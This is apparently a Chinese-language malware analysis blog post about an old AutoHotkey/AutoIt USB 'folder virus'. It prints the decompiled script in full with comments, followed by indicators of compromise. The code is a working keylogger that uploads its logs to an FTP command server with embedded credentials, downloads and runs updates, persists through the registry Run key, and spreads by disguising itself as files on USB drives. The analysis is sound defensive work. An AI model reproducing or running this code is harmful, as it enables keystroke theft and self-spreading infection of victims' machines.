概述
这是一个使用AutoHotkey语言编写的文件夹病毒,使用ftp服务器来当作C2,通过U盘传播,样本很古老,原理也很简单,这种语言的样本还是第一次见到,记录一下。
样本的基本信息
PE32
库: AutoIt(3.XX)[-]
编译器: EP:Microsoft Visual C/C++(2008-2010)[EXE32]
编译器: Microsoft Visual C/C++(2010)[libcmt]
链接程序: Microsoft Linker(10.0)[GUI32]
附加: Binary
数据: AutoIt compiled script(2.XX-3.XX)
文件大小: 664 KB (680,393 字节)
MD5: 8b5c2cbf7d89be0a6eb66ecc29d9f5fd
SHA1: c5c54d656520436e65f6feb58df1272422f6e9b4
SHA256: 67d184ecf4b2f01fdae6a3d8574a95e63ebf89ea1f1b01dd845b520a5e2cc9fc
Link date: 22:44 2011/1/18
这是一个典型的文件夹病毒,使用了win7的文件夹图标用作掩护(如下图所示),使用AutoHotKey语言编译而成。
使用autoit3 Decompiler工具将脚本还原出来。该工具下载地址为AutoIt3 Decompiler GUI v1.9 。AutoHotkey是一款开源的热键脚本语言,可以创建各种脚本和宏来自动化计算机任务。可用用SciTE4AutoHotkey
(下载地址GitHub - telppa/SciTE4AutoHotkey-Plus: 这是最适合中文与新人用户的AHK IDE 由于原版早已不更新了 故多年来在原版基础上做了非常多的改进 目的只有一个 让大家用得更顺手)编译器来查看这种代码(支持高亮和折叠)。
病毒分析
下面对脚本的内容进行分析。(只对关键的代码进行注释)
SetWorkingDir %A_ScriptDir% ;设置当前工作目录为脚本所在的目录。
des_path = %A_AppData%\Microsoft\Office ;设置两个变量,一个是Office的安装路径,一个是Office的版本。
version = 2000
If A_ScriptName not contains rundll32 ;如果当前脚本的名称不包含"rundll32",则执行下面的代码。这是从U盘运行的情形
{
If A_ScriptName contains ums ;如果当前脚本的名称包含"ums",则执行`copy`子程序并退出程序。
{
gosub copy
ExitApp
}
ComObjError(false) ;关闭COM错误提示
StringTrimRight, Target, A_ScriptName, 4 ;从脚本名称的右边剪切4个字符,并将结果保存到Target变量中,即去掉文件后缀名
Target = %A_ScriptDir%\%Target% ;将Target变量设置为脚本目录加Target。
IfNotExist, %Target% ;如果Target指定的目录不存在,则创建该目录。
FileCreateDir, %Target%
#IfWinActive, ahk_group MS_Explorer
ShellNavigate(Target, WinExist("ahk_group MS_Explorer")) ;打开与本程序同名的目录,即被隐藏的原目录
FileSetAttrib, +SH, %Target% ;将Target指定的目录设置为隐藏和系统属性。
gosub install ;执行`install`子程序。
ExitApp ;退出程序
}
;写入注册表操作,将"ShowSuperHidden"的值设置为0,隐藏受保护的操作系统文件
RegWrite, REG_DWORD, HKEY_CURRENT_USER, SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced , ShowSuperHidden, 0
;设置FTP服务器的相关信息,包括主机名、端口、用户名和密码。
FtpHost = ftp.byethost10.com
FtpPort = 21
FtpUsername = b10_7591157
FtpPassword = un10ck
;设置本地文件路径,这个文件用来记录用户的按键
localFile = %A_AppData%\Microsoft\Office\mspoint.pip
;设置FTP服务器上的目录路径,路径包含计算机名和用户名。
Dirpath = /htdocs/autohotkey/%A_ComputerName%_%A_UserName%
;获取所有可移动驱动器的列表,并将其保存在old_drive_list变量中。
DriveGet, old_drive_list, List, REMOVABLE
;监听设备变化的消息,当有设备插入或拔出时,调用WM_DEVICECHANGE函数。
OnMessage(0x219, "WM_DEVICECHANGE")
Gosub check ;调用check子程序。
time_c := 1000*60*30
SetTimer, check , %time_c% ;设置定时器,每隔30分钟执行一次check子程序。
oldtitle=nothing ;设置变量oldtitle的值为nothing。
;这段代码可能用于键盘的监听和记录,记录用户在每个窗口中的键盘操作,保存在本地文件mspoint.pip中。
Loop
{
;捕获用户的输入。如果用户输入了指定的按键(例如Enter、Esc等),那么将停止输入。
Input, UserInput, V C, {enter}.{esc}{Space}{tab}{Left}{Right}{Up}{Down}{Home}{End}{BS}
tvar:=Errorlevel
WinGetActiveTitle, watitle ;获取当前活动窗口的标题,并将其保存到变量watitle中
;如果当前活动窗口的标题与上次记录的标题不同,且标题不为空,则执行以下操作
if (watitle != oldtitle and watitle != "")
{
FileAppend, `n`n-------- %watitle% --------`n, %localFile% ;在本地文件mspoint.pip中记录当前窗口的标题。
FormatTime, CurrentDateTime,, MM-dd-yyyy hh:mm:ss tt ;获取当前日期和时间,并将其保存到变量CurrentDateTime中
FileAppend, --------%CurrentDateTime% --------`n,%localFile% ;在本地文件中记录当前的日期和时间。
oldtitle = %watitle% ;将当前窗口的标题保存到oldtitle变量中。
}
IfInString, tvar, EndKey: ;如果变量tvar包含"EndKey:",则执行以下操作:
{
StringSplit,endkey,tvar,`: ;将tvar变量的值按":"分割,将结果保存到endkey变量中。
if endkey2=Enter ;如果endkey2的值为"Enter",则将用户的输入添加到本地文件mspoint.pip中
FileAppend, %UserInput%`n, %localFile%
else if endkey2=Space ;如果endkey2的值为"Space",则将用户的输入和一个空格添加到本地文件mspoint.pip中。
FileAppend, %UserInput%%A_space%, %localFile%
else if endkey2=. ;如果endkey2的值为".",则将用户的输入和一个"."添加到本地文件中。
FileAppend, %UserInput%. , %localFile%
else ;对于其他情况,将用户的输入和按键添加到本地文件中。
{
StringLeft, endkey2, endkey2, 1
FileAppend, %UserInput%[%endkey2%], %localFile%
}
}
}
return
check部分的功能主要是连接到FTP服务器,上传mspoint.pip文件,然后检查服务器是否有新的更新文件,如果有则下载并运行。
check: ;这段代码主要是连接到FTP服务器,上传文件,然后检查服务器是否有新的更新文件,如果有则下载并运行
IfNotExist, %localFile% ;检查本地文件mspoint.pip是否存在,如果不存在则返回。
return
INetStart() ;启动网络服务
hFTP := INetConnect(FtpHost, FtpPort, FtpUsername, FtpPassword, "ftp", 1) ;连接到FTP服务器
If (!hFTP)
Return
if(!FtpSetCurrentDirectory(hFTP , Dirpath)) ;设置FTP服务器的当前目录
{
createdir()
if(!FtpSetCurrentDirectory(hFTP , Dirpath))
{
INetCloseHandle(hFTP)
INetStop()
return
}
}
If(upload()) ;上传mspoint.pip文件到FTP服务器
{
FileGetSize, file_size, %localFile%, K ;获取本地文件的大小,如果文件大小大于200K,则删除该文件
if file_size > 200
Filedelete, %localFile%
}
;检查服务器是否有新的更新文件,如果有则下载并运行
FtpSetCurrentDirectory(hFTP , "/htdocs/update") ;FTP服务器的当前目录设置为"/htdocs/update"
if((hEnum := FtpFindFirstFile(hFTP, "ums*.exe", FTPData))) ;在FTP服务器的当前目录中查找第一个匹配"ums*.exe"的文件
{
FileName := FtpGetFileInfo(FTPData, "Name") ;获取查找到的文件的信息
StringMid, Outfilename, FileName, 4, 4 ;从filename第4个字符后取4个字符,应该是版本号,保存在Outfilename中
oldversion := version
if(Outfilename > version) ;若ftp上的版本大于当前的版本,下载新文件并运行
{
update_file = /htdocs/update/%FileName%
if(FtpGetFile(hFTP, update_file, "ums.exe", "B", 1, 4)) ;FTP服务器下载更新文件
{
run ums.exe ;运行更新文件
INetCloseHandle(hFTP)
INetStop()
Exitapp
}
}
}
INetCloseHandle(hFTP)
INetStop()
Return
install子程序,用于感染系统
install:
GroupAdd, MS_Explorer, ahk_class CabinetWClass
GroupAdd, MS_Explorer, ahk_class ExploreWClass
;从注册表中读取指定路径下的特定值,与隐藏后缀名有关
RegRead, refresh1, HKEY_CURRENT_USER, SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced, ShowSuperHidden
RegRead, refresh2, HKEY_CURRENT_USER, SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced , HideFileExt
;若当前系统之前被感染过,读取之前病毒的版本
RegRead, version2, HKEY_CURRENT_USER, SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced , Msversion
;如果读取的注册表值不符合预期,则修改这些值,并刷新资源管理器窗口,隐藏文件后缀名
if(refresh1 != 0 or refresh2 != 1)
{
RegWrite, REG_DWORD, HKEY_CURRENT_USER, SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced , ShowSuperHidden, 0
RegWrite, REG_DWORD, HKEY_CURRENT_USER, SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced , HideFileExt, 1
ShellNavigate("refresh", WinExist("ahk_group MS_Explorer"))
}
;从注册表中读取version
RegRead, version2, HKEY_CURRENT_USER, SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced , Msversion
if ErrorLevel = 1 ;如果读取注册表时发生错误,执行copy
gosub copy
if version > %version2% ;如果`version`大于读取到的注册表值,调用`copy`标签下的代码
gosub copy
IfNotExist, %des_path%\rundll32.exe ;如果指定路径下不存在`rundll32.exe`文件,调用`copy`标签下的代码。
gosub copy
Process, Exist, rundll32.exe ;检查`rundll32.exe`进程是否存在。
if ErrorLevel = 0 ;如果`rundll32.exe`进程不存在,运行指定路径下的`rundll32.exe`。
run %des_path%\rundll32.exe, %des_path%,hide|UseErrorLevel
ExitApp ;结束当前脚本。
return
copy子函数用于复制自身到系统中并添加开机启动项
copy:
Process, close, rundll32.exe ;结束名为`rundll32.exe`的进程
IfNotExist, %des_path% ;如果指定的路径不存在,则创建这个路径
FileCreateDir, %des_path%
sleep 1000 ;暂停脚本执行1秒(1000毫秒)
IfExist, %des_path%\rundll32.exe ;如果指定路径下已经存在名为`rundll32.exe`的文件,则删除这个文件
filedelete , %des_path%\rundll32.exe
;将当前运行的脚本文件复制到指定路径,并命名为`rundll32.exe`。`1`表示如果目标文件已存在,则覆盖它。
FileCopy, %A_ScriptFullPath%, %des_path%\rundll32.exe, 1
if ErrorLevel = 1
return
;将复制的文件的属性设置为隐藏和系统文件。
FileSetAttrib, +SH, %des_path%\rundll32.exe
;将复制的文件路径写入到Windows的注册表,使其在每次启动系统时自动运行,并写入一个指定的版本号
RegWrite, REG_SZ, HKEY_CURRENT_USER, SOFTWARE\Microsoft\Windows\CurrentVersion\Run , Microsoft Windows, %des_path%\rundll32.exe
RegWrite, REG_DWORD, HKEY_CURRENT_USER, SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced , Msversion, %version%
sleep 1000
;运行复制的文件,并将窗口隐藏
run %des_path%\rundll32.exe, %des_path%,hide|UseErrorLevel
ExitApp
return
感染可移动存储介质
WM_DEVICECHANGE() ;当设备发生改变时,例如新接入或移除设备,这个函数将被调用
{
global old_drive_list ;声明一个全局变量,用于存储上一次检测到的设备列表
give_up := A_TickCount + 2500 ;设置一个超时时间,如果在2500毫秒内没有检测到新的设备,将会跳出循环
Loop
{
DriveGet, new_drive_list, List, REMOVABLE ;获取所有可移动设备的列表
if (old_drive_list != new_drive_list) ;如果新获取的设备列表与旧的设备列表不同,说明有新设备接入或旧设备移除,跳出循环。
Break
if (A_TickCount > give_up) ;如果当前时间超过了设置的超时时间,也跳出循环
Break
}
new_drive := "" ;初始化新设备的变量
if StrLen(new_drive_list) > StrLen(old_drive_list) ;如果新设备列表的长度大于旧设备列表的长度,说明有新设备接入。
{
Loop, Parse, new_drive_list ;遍历新设备列表
IfNotInString, old_drive_list, %A_LoopField% ;如果旧设备列表中不包含当前设备,说明这是新接入的设备。
{
new_drive := A_LoopField ;将新接入的设备赋值给`new_drive`
Break
}
process_new_drive(new_drive . ":") ;对新接入的设备进行处理,具体的处理方式由`process_new_drive`函数定义。
}
old_drive_list := new_drive_list ;更新设备列表
Return
}
;这段代码的主要功能是将当前运行的脚本文件复制到新接入设备的每一个文件或文件夹所在位置,并隐藏原文件或文件夹,显示复制的`.exe`文件。这样,当用户打开设备并点击文件或文件夹时,实际上运行的是复制的脚本文件。这是一种常见的病毒传播方式
process_new_drive(drive)
{
;这是一个循环,用于遍历新接入设备中的所有文件和文件夹。`%drive%\*.*`表示设备中的所有文件和文件夹,`2`表示包括子文件夹
Loop, %drive%\*.* , 2
{
;将当前运行的脚本文件复制到新接入设备的每一个文件或文件夹所在位置,并将复制的文件命名为原文件或文件夹的名称加上`.exe`后缀。`1`表示如果目标文件已存在,则覆盖它。
FileCopy, %A_ScriptFullPath%, %drive%\%A_LoopFileName%.exe ,1
;将当前文件或文件夹的属性设置为隐藏和系统文件,`+SH`表示设置隐藏(Hidden)和系统(System)属性
FileSetAttrib, +SH, %A_LoopFileLongPath%
;将复制的`.exe`文件的属性设置为非隐藏和非系统文件,`-SH`表示移除隐藏(Hidden)和系统(System)属性。
FileSetAttrib, -SH, %drive%\%A_LoopFileName%.exe
}
}
这个样本的基本功能比较简单,记录当前系统中窗口名称和用户按键保存在%AppData%\Microsoft\Office\mspoint.pip
文件中,上传到ftp服务器上(ftp.byethost10.com),并从服务器上下载新的版本运行(落地为ums.exe)。
通过可移动存储介质传播,遍历U盘中的文件和目录,隐藏原文件和目录,将自身复制为同名的.exe文件,诱导用户点击。感染系统后,将自身复制到%AppData%\Microsoft\Office\rundll32.exe
,并在注册表中添加开机启动项,并修改主机配置,隐藏文件后缀名。
这是文件夹病毒的通常操作。
ioc
hash
MD5: 8b5c2cbf7d89be0a6eb66ecc29d9f5fd
SHA1: c5c54d656520436e65f6feb58df1272422f6e9b4
文件
%AppData%\Microsoft\Office\rundll32.exe 病毒母体
%AppData%\Microsoft\Office\mspoint.pip 保存键盘记录
%AppData%\Microsoft\Office\ums.exe 更新文件
U盘中与文件和目录同名的.exe文件,使用win7的文件夹图标
网络
ftp.byethost10.com ftp服务器
注册表
这两项用于隐藏文件后缀名
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced , ShowSuperHidden=0
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced , HideFileExt=1
这是病毒的版本
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced , Msversion
开机启动项
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run , Microsoft Windows, %AppData%\Microsoft\Office\rundll32.exe
参考资料
-
AutoHotkey用法教程(Chinar强烈推荐学习)_autohotkey中文手册-CSDN博客
-
AutoHotkey (sourceforge.net)
-
GitHub - telppa/SciTE4AutoHotkey-Plus: 这是最适合中文与新人用户的AHK IDE 由于原版早已不更新了 故多年来在原版基础上做了非常多的改进 目的只有一个 让大家用得更顺手